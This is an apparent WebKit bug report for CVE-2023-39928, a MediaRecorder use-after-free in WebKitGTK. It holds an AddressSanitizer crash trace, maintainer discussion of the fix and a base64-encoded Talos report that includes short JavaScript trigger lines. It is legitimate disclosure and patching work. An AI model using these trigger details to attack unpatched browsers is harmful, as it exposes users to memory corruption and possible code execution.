/fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.cpp:49:21 #7 0x7f0670fd2bce in WebCore::MediaRecorderProvider::createMediaRecorderPrivate(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorderProvider.cpp:51:12 #8 0x7f0670fa7ae0 in WebCore::MediaRecorder::createMediaRecorderPrivate(WebCore::Document&, WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:91:49 #9 0x7f0670fab19a in WebCore::MediaRecorder::startRecording(std::optional<unsigned int>) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:162:19 #10 0x7f066fd56280 in WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()::operator()() const /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:595:5 #11 0x7f066fd56280 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMConvertBase.h:168:27 #12 0x7f066fd56280 in WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:595:5 #13 0x7f066fd56280 in long WebCore::IDLOperation<WebCore::JSMediaRecorder>::call<&(WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMOperation.h:63:9 #14 0x7f066fd56280 in WebCore::jsMediaRecorderPrototypeFunction_start(JSC::JSGlobalObject*, JSC::CallFrame*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:600:12 #15 0x7f061c2b4037 (<unknown module>) #16 0x7f0669ce0e8e in js_trampoline_op_call LowLevelInterpreter.cpp #17 0x7f0669cc3a79 in vmEntryToJavaScript (/fuzzing/browsers/webkitgtk-2.40.5-debug/build/lib/libjavascriptcoregtk-4.1.so.0+0x4e28a79) (BuildId: f55eedc27be823ac6dc7ab91b43c7dc1aa59b9ee) #18 0x7f06679902f0 in JSC::Interpreter::executeCallImpl(JSC::VM&, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/interpreter/Interpreter.cpp:1123:32 #19 0x7f06679902f0 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/interpreter/Interpreter.cpp:1132:16 #20 0x7f06685770cc in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/runtime/CallData.cpp:57:27 #21 0x7f06685770cc in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/runtime/CallData.cpp:64:22 #22 0x7f0671712d9a in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSEventListener.cpp:224:22 #23 0x7f06726f6ed2 in WebCore::EventTarget::innerInvokeEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener, WTF::RawPtrTraits<WebCore::RegisteredEventListener>, WTF::DefaultRefDerefTraits<WebCore::RegisteredEventListener> >, 1ul, WTF::CrashOnOverflow, 2ul, WTF::FastMalloc>, WebCore::EventTarget::EventInvokePhase) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/EventTarget.cpp:375:40 #24 0x7f06726d9fe1 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/EventTarget.cpp:307:9 #25 0x7f0673d61c5f in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/page/DOMWindow.cpp:2393:5 #26 0x7f0673d8c079 in WebCore::DOMWindow::dispatchLoadEvent() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/page/DOMWindow.cpp:2325:5 #27 0x7f067256cd00 in WebCore::Document::dispatchWindowLoadEvent() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/Document.cpp:5287:18 #28 0x7f067256cd00 in WebCore::Document::implicitClose() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/Document.cpp:3309:5 #29 0x7f0673a9e3f0 in WebCore::FrameLoader::checkCompleted() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/FrameLoader.cpp:911:5 #30 0x7f0673a97e43 in WebCore::FrameLoader::finishedParsing() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/FrameLoader.cpp:810:5 #31 0x7f06725b177f in WebCore::Document::finishedParsing() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/Document.cpp:6380:25 #32 0x7f06732a4267 in WebCore::HTMLDocumentParser::end() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:446:20 #33 0x7f06732a4267 in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:455:5 #34 0x7f06732a4267 in WebCore::HTMLDocumentParser::prepareToStopParsing() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:150:5 #35 0x7f06732a9ee5 in WebCore::HTMLDocumentParser::finish() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:495:5 #36 0x7f0673a0c396 in WebCore::DocumentWriter::end() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/DocumentWriter.cpp:322:15 #37 0x7f0673a09327 in WebCore::DocumentLoader::finishedLoading() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/DocumentLoader.cpp:511:14 #38 0x7f0673c97436 in WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/cache/CachedResource.cpp:340:17 #39 0x7f0673c86f0f in WebCore::CachedResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/cache/CachedResource.cpp:356:5 #40 0x7f0673c86f0f in WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/cache/CachedRawResource.cpp:128:21 #41 0x7f0673bc43df in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/SubresourceLoader.cpp:751:17 #42 0x7f066e3ecce3 in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/WebProcess/Network/WebResourceLoader.cpp:262:19 #43 0x7f066ce6bcdf in auto void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...)::operator()<WebCore::NetworkLoadMetrics>(auto&&...) const /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/Platform/IPC/HandleMessage.h:136:13 #44 0x7f066ce6bcdf in WebKit::WebResourceLoader std::__invoke_impl<void, void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), WebCore::NetworkLoadMetrics>(std::__invoke_other, WebKit::WebResourceLoader&&, WebCore::NetworkLoadMetrics&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:61:14 #45 0x7f066ce6bcdf in std::__invoke_result<WebKit::WebResourceLoader, WebCore::NetworkLoadMetrics>::type std::__invoke<void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), WebCore::NetworkLoadMetrics>(WebKit::WebResourceLoader&&, WebCore::NetworkLoadMetrics&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:96:14 #46 0x7f066ce6bcdf in decltype(auto) std::__apply_impl<void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), std::tuple<WebCore::NetworkLoadMetrics>, 0ul>(WebKit::WebResourceLoader&&, WebKit::WebResourceLoader&&, std::integer_sequence<unsigned long, 0ul>) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/tuple:1858:14 #47 0x7f066ce6bcdf in decltype(auto) std::apply<void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader&&, WebKit::WebResourceLoader&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/tuple:1869:14 #48 0x7f066ce6bcdf in void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/Platform/IPC/HandleMessage.h:134:5 #49 0x7f066ce6bcdf in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&)>(IPC::Connection&, IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&)) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/Platform/IPC/HandleMessage.h:236:9 SUMMARY: AddressSanitizer: heap-use-after-free /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/atomic_base.h:522:9 in std::__atomic_base<unsigned char>::compare_exchange_weak(unsigned char&, unsigned char, std::memory_order, std::memory_order) Shadow bytes around the buggy address: 0x0c1e800175b0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd 0x0c1e800175c0: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa 0x0c1e800175d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1e800175e0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa 0x0c1e800175f0: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c1e80017600: fd fd fd[fd]fd fd fd fa fa fa fa fa fa fa fa fa 0x0c1e80017610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1e80017620: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa 0x0c1e80017630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e80017640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e80017650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==9887==ABORTING Credit Discovered by Marcin &#39;Icewall&#39; Noga of Cisco Talos. 1973224 1 webkit-bug-importer 2023-08-24 01:51:29 -0700 <rdar://problem/114370120> 1973225 2 467414 vulndiscovery 2023-08-24 01:52:04 -0700 Created attachment 467414 Proof of concept 1973609 3 eric.carlson 2023-08-25 12:50:14 -0700 cc'd @philn for visibility. 1973767 4 philn 2023-08-26 04:09:46 -0700 https://github.com/WebKit/WebKit/pull/17103 1973824 5 philn 2023-08-27 07:59:27 -0700 In MediaRecorder::fetchData() we have this: auto& privateRecorder = *m_private; std::unique_ptr<MediaRecorderPrivate> takenPrivateRecorder; if (takeRecorder == TakePrivateRecorder::Yes) takenPrivateRecorder = WTFMove(m_private); I wonder, is it safe to use privateRecorder after m_private was moved? 1973825 6 philn 2023-08-27 08:07:50 -0700 Answering myself, yes, seems safe. A bit convoluted though 1973883 7 philn 2023-08-28 01:37:18 -0700 https://commits.webkit.org/267345@main 1980599 8 mcatanzaro 2023-09-27 12:52:08 -0700 Hi, consider CCing bugs-noreply@webkitgtk.org on platform-specific security issues, or else we don't know about them. Anyway, this looks like a clear candidate for a CVE, so we will request one. 1980600 9 mcatanzaro 2023-09-27 12:56:12 -0700 (In reply to vulndiscovery from comment #0) > TALOS-2023-1831 > CVE-2023-39928 Hold up, we already have one :) 1980937 10 clopez 2023-09-28 06:36:36 -0700 Included in advisory https://webkitgtk.org/security/WSA-2023-0009.html 467413 2023-08-24 01:51:19 -0700 2023-08-24 01:51:19 -0700 TALOS-2023-1831.txt TALOS-2023-1831.txt text/plain 39705 vulndiscovery VEFMT1MtMjAyMy0xODMxCkNWRS0yMDIzLTM5OTI4CgpXZWJraXQgTWVkaWFSZWNvcmRlciBBUEkg c3RvcFJlY29yZGluZyB1c2UtYWZ0ZXItZnJlZSB2dWxuZXJhYmlsaXR5ClN1bW1hcnkKCkEgdXNl LWFmdGVyLWZyZWUgdnVsbmVyYWJpbGl0eSBleGlzdHMgaW4gdGhlIE1lZGlhUmVjb3JkZXIgQVBJ IG9mIFdlYmtpdCBXZWJLaXRHVEsgMi40MC41LiBBIHNwZWNpYWxseSBjcmFmdGVkIHdlYiBwYWdl IGNhbiBhYnVzZSB0aGlzIHZ1bG5lcmFiaWxpdHkgdG8gY2F1c2UgbWVtb3J5IGNvcnJ1cHRpb24g YW5kIHBvdGVudGlhbGx5IGFyYml0cmFyeSBjb2RlIGV4ZWN1dGlvbi4gQSB1c2VyIHdvdWxkIG5l ZWQgdG8gdG8gdmlzaXQgYSBtYWxpY2lvdXMgd2VicGFnZSB0byB0cmlnZ2VyIHRoaXMgdnVsbmVy YWJpbGl0eS4KQ29uZmlybWVkIFZ1bG5lcmFibGUgVmVyc2lvbnMKClRoZSB2ZXJzaW9ucyBiZWxv dyB3ZXJlIGVpdGhlciB0ZXN0ZWQgb3IgdmVyaWZpZWQgdG8gYmUgdnVsbmVyYWJsZSBieSBUYWxv cyBvciBjb25maXJtZWQgdG8gYmUgdnVsbmVyYWJsZSBieSB0aGUgdmVuZG9yLgoKV2Via2l0IFdl YktpdEdUSyAyLjQwLjUKUHJvZHVjdCBVUkxzCgpXZWJraXQgLSBodHRwczovL3dlYmtpdC5vcmcv CkNWU1N2MyBTY29yZQoKOC44IC0gQ1ZTUzozLjEvQVY6Ti9BQzpML1BSOk4vVUk6Ui9TOlUvQzpI L0k6SC9BOkgKQ1dFCgpDV0UtNDE2IC0gVXNlIEFmdGVyIEZyZWUKRGV0YWlscwoKV2ViS2l0IGlz IGFuIG9wZW4tc291cmNlIHdlYiBjb250ZW50IGVuZ2luZSBmb3IgYnJvd3NlcnMgYW5kIG90aGVy IGFwcGxpY2F0aW9ucy4KClRoZSB2dWxuZXJhYmlsaXkgaXMgcmVsYXRlZCB3aXRoIHRoZSBNZWRp YVJlY29yZGVyIGludGVyZmFjZSBhbmQgdGhlIHdheSB0aGlzIGludGVyZmFjZSBoYW5kbGVzIHN0 b3AgcmVjb3JkaW5nIHByb2Nlc3MuIEEgbWFsaWNpb3VzIHdlYiBwYWdlIGNhbiB0cmlnZ2VyIGEg dXNlLWFmdGVyLWZyZWUgdnVsbmVyYWJpbGl0eSB3aGljaCBjYW4gcG90ZW50aWFseSByZXN1bHQg aW4gcmVtb3RlIGNvZGUgZXhlY3V0aW9uLgpDb21hcHJpbmcgY29kZSByZXNwb25zaWJsZSBmb3Ig dGhlIGNyYXNoIGFuZCBBU0FOIG91dHB1dCB3ZSBjYW4gcGlucG9pbnQgdGhlIGZvbGxvd2luZyBj b3JyZWxhdGlvbjoKCkxpbmUgOSAgICAgICAgICAgICAgbWVkaWFTdHJlYW1BdWRpb0RzdCA9IGF1 ZGlvQ3R4LmNyZWF0ZU1lZGlhU3RyZWFtRGVzdGluYXRpb24oKTsKTGluZSAxMCAgICAgICAgICAg ICBtZWRpYVJlY29yZGVyID0gbmV3IE1lZGlhUmVjb3JkZXIobWVkaWFTdHJlYW1BdWRpb0RzdC5z dHJlYW0pOwpMaW5lIDExICAgICAgICAgICAgIG1lZGlhUmVjb3JkZXIuc3RhcnQoKTsKCldoZW4g d2Ugc3RhcnQgcmVjb3JkaW5nIGxpbmUgMTEgaW50ZXJuYWx5IE1lZGlhUmVjb3JkZXJQcml2YXRl R1N0cmVhbWVyIG9iamVjdCBnZXRzIGFsbG9jYXRlZDoKCnByZXZpb3VzbHkgYWxsb2NhdGVkIGJ5 IHRocmVhZCBUMCBoZXJlOgogICAgIzAgMHg1NjIxNDBmNGYxNWUgaW4gbWFsbG9jICgvZnV6emlu Zy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL2xpYmV4ZWMvd2Via2l0Mmd0 ay00LjEvV2ViS2l0V2ViUHJvY2VzcysweGExMTVlKSAoQnVpbGRJZDogZDZkODgwZmY5Mjc5NmVk NGY2MDk3YTU3NTA1ZGNhN2VmNzQzOTI1OSkKICAgICMxIDB4N2YwNjY5ZjRiZDBiIGluIHBhc190 cnlfYWxsb2NhdGVfaW50cmluc2ljX2ltcGxfY2FzdWFsX2Nhc2UoX19wYXNfaGVhcCosIHVuc2ln bmVkIGxvbmcsIHVuc2lnbmVkIGxvbmcsIHBhc19pbnRyaW5zaWNfaGVhcF9zdXBwb3J0KiwgcGFz X2hlYXBfY29uZmlnLCBwYXNfYWxsb2NhdGlvbl9yZXN1bHQgKCopKHBhc19sb2NhbF9hbGxvY2F0 b3IqLCB1bnNpZ25lZCBsb25nLCB1bnNpZ25lZCBsb25nKSwgcGFzX2FsbG9jYXRpb25fcmVzdWx0 ICgqKShfX3Bhc19oZWFwX3JlZiosIHVuc2lnbmVkIGxvbmcsIHVuc2lnbmVkIGxvbmcpLCBwYXNf aW50cmluc2ljX2hlYXBfZGVzaWduYXRpb25fbW9kZSkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0 Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvYm1hbGxvYy9saWJwYXMvc3JjL2xpYnBhcy9wYXNfbG9j YWxfYWxsb2NhdG9yX2lubGluZXMuaAogICAgIzIgMHg3ZjA2NjlmNGJkMGIgaW4gYm1hbGxvY19h bGxvY2F0ZV9pbXBsX2Nhc3VhbF9jYXNlKHVuc2lnbmVkIGxvbmcsIHVuc2lnbmVkIGxvbmcpIC9m dXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL2JtYWxsb2MvbGli cGFzL3NyYy9saWJwYXMvYm1hbGxvY19oZWFwX2lubGluZXMuaDo2OToxCiAgICAjMyAweDdmMDY2 ZTg5YjZjOCBpbiBXZWJDb3JlOjpNZWRpYVJlY29yZGVyUHJpdmF0ZUdTdHJlYW1lcjo6b3BlcmF0 b3IgbmV3KHVuc2lnbmVkIGxvbmcpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUt ZGVidWcvU291cmNlL1dlYkNvcmUvcGxhdGZvcm0vbWVkaWFyZWNvcmRlci9NZWRpYVJlY29yZGVy UHJpdmF0ZUdTdHJlYW1lci5oOjQxOjUKICAgICM0IDB4N2YwNjZlODliNmM4IGluIHN0ZDo6X01h a2VVbmlxPFdlYkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRlR1N0cmVhbWVyPjo6X19zaW5nbGVf b2JqZWN0IHN0ZDo6bWFrZV91bmlxdWU8V2ViQ29yZTo6TWVkaWFSZWNvcmRlclByaXZhdGVHU3Ry ZWFtZXIsIFdlYkNvcmU6Ok1lZGlhU3RyZWFtUHJpdmF0ZSYsIFdlYkNvcmU6Ok1lZGlhUmVjb3Jk ZXJQcml2YXRlT3B0aW9ucyBjb25zdCY+KFdlYkNvcmU6Ok1lZGlhU3RyZWFtUHJpdmF0ZSYsIFdl YkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRlT3B0aW9ucyBjb25zdCYpIC91c3IvYmluLy4uL2xp Yi9nY2MveDg2XzY0LWxpbnV4LWdudS8xMS8uLi8uLi8uLi8uLi9pbmNsdWRlL2MrKy8xMS9iaXRz L3VuaXF1ZV9wdHIuaDo5NjI6MzAKICAgICM1IDB4N2YwNjZlODliNmM4IGluIGRlY2x0eXBlKGF1 dG8pIFdURjo6bWFrZVVuaXF1ZTxXZWJDb3JlOjpNZWRpYVJlY29yZGVyUHJpdmF0ZUdTdHJlYW1l ciwgV2ViQ29yZTo6TWVkaWFTdHJlYW1Qcml2YXRlJiwgV2ViQ29yZTo6TWVkaWFSZWNvcmRlclBy aXZhdGVPcHRpb25zIGNvbnN0Jj4oV2ViQ29yZTo6TWVkaWFTdHJlYW1Qcml2YXRlJiwgV2ViQ29y ZTo6TWVkaWFSZWNvcmRlclByaXZhdGVPcHRpb25zIGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9idWlsZC9XVEYvSGVhZGVycy93dGYvU3RkTGliRXh0cmFz Lmg6NTY5OjEyCiAgICAjNiAweDdmMDY2ZTg5YjZjOCBpbiBXZWJDb3JlOjpNZWRpYVJlY29yZGVy UHJpdmF0ZUdTdHJlYW1lcjo6Y3JlYXRlKFdlYkNvcmU6Ok1lZGlhU3RyZWFtUHJpdmF0ZSYsIFdl YkNvcmU6Ok1lZGlhUmVjb3JkZXJQcml2YXRlT3B0aW9ucyBjb25zdCYpIC9mdXp6aW5nL2Jyb3dz ZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvcGxhdGZvcm0vbWVkaWFy ZWNvcmRlci9NZWRpYVJlY29yZGVyUHJpdmF0ZUdTdHJlYW1lci5jcHA6NDk6MjEKICAgICM3IDB4 N2YwNjcwZmQyYmNlIGluIFdlYkNvcmU6Ok1lZGlhUmVjb3JkZXJQcm92aWRlcjo6Y3JlYXRlTWVk aWFSZWNvcmRlclByaXZhdGUoV2ViQ29yZTo6TWVkaWFTdHJlYW1Qcml2YXRlJiwgV2ViQ29yZTo6 TWVkaWFSZWNvcmRlclByaXZhdGVPcHRpb25zIGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMvd2Vi a2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9Nb2R1bGVzL21lZGlhcmVjb3JkZXIv TWVkaWFSZWNvcmRlclByb3ZpZGVyLmNwcDo1MToxMgogICAgIzggMHg3ZjA2NzBmYTdhZTAgaW4g V2ViQ29yZTo6TWVkaWFSZWNvcmRlcjo6Y3JlYXRlTWVkaWFSZWNvcmRlclByaXZhdGUoV2ViQ29y ZTo6RG9jdW1lbnQmLCBXZWJDb3JlOjpNZWRpYVN0cmVhbVByaXZhdGUmLCBXZWJDb3JlOjpNZWRp YVJlY29yZGVyUHJpdmF0ZU9wdGlvbnMgY29uc3QmKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRn dGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL01vZHVsZXMvbWVkaWFyZWNvcmRlci9NZWRp YVJlY29yZGVyLmNwcDo5MTo0OQogICAgIzkgMHg3ZjA2NzBmYWIxOWEgaW4gV2ViQ29yZTo6TWVk aWFSZWNvcmRlcjo6c3RhcnRSZWNvcmRpbmcoc3RkOjpvcHRpb25hbDx1bnNpZ25lZCBpbnQ+KSAv ZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL01v ZHVsZXMvbWVkaWFyZWNvcmRlci9NZWRpYVJlY29yZGVyLmNwcDoxNjI6MTkKICAgICMxMCAweDdm MDY2ZmQ1NjI4MCBpbiBXZWJDb3JlOjpqc01lZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9z dGFydEJvZHkoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6Q2FsbEZyYW1lKiwgV2ViQ29yZTo6 SlNNZWRpYVJlY29yZGVyKik6OidsYW1iZGEnKCk6Om9wZXJhdG9yKCkoKSBjb25zdCAvZnV6emlu Zy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL1dlYkNvcmUvRGVyaXZlZFNv dXJjZXMvSlNNZWRpYVJlY29yZGVyLmNwcDo1OTU6NQogICAgIzExIDB4N2YwNjZmZDU2MjgwIGlu IEpTQzo6SlNWYWx1ZSBXZWJDb3JlOjp0b0pTPFdlYkNvcmU6OklETFVuZGVmaW5lZCwgV2ViQ29y ZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rpb25fc3RhcnRCb2R5KEpTQzo6SlNHbG9i YWxPYmplY3QqLCBKU0M6OkNhbGxGcmFtZSosIFdlYkNvcmU6OkpTTWVkaWFSZWNvcmRlciopOjon bGFtYmRhJygpPihKU0M6OkpTR2xvYmFsT2JqZWN0JiwgSlNDOjpUaHJvd1Njb3BlJiwgV2ViQ29y ZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rpb25fc3RhcnRCb2R5KEpTQzo6SlNHbG9i YWxPYmplY3QqLCBKU0M6OkNhbGxGcmFtZSosIFdlYkNvcmU6OkpTTWVkaWFSZWNvcmRlciopOjon bGFtYmRhJygpJiYpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291 cmNlL1dlYkNvcmUvYmluZGluZ3MvanMvSlNET01Db252ZXJ0QmFzZS5oOjE2ODoyNwogICAgIzEy IDB4N2YwNjZmZDU2MjgwIGluIFdlYkNvcmU6OmpzTWVkaWFSZWNvcmRlclByb3RvdHlwZUZ1bmN0 aW9uX3N0YXJ0Qm9keShKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJhbWUqLCBXZWJD b3JlOjpKU01lZGlhUmVjb3JkZXIqKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41 LWRlYnVnL2J1aWxkL1dlYkNvcmUvRGVyaXZlZFNvdXJjZXMvSlNNZWRpYVJlY29yZGVyLmNwcDo1 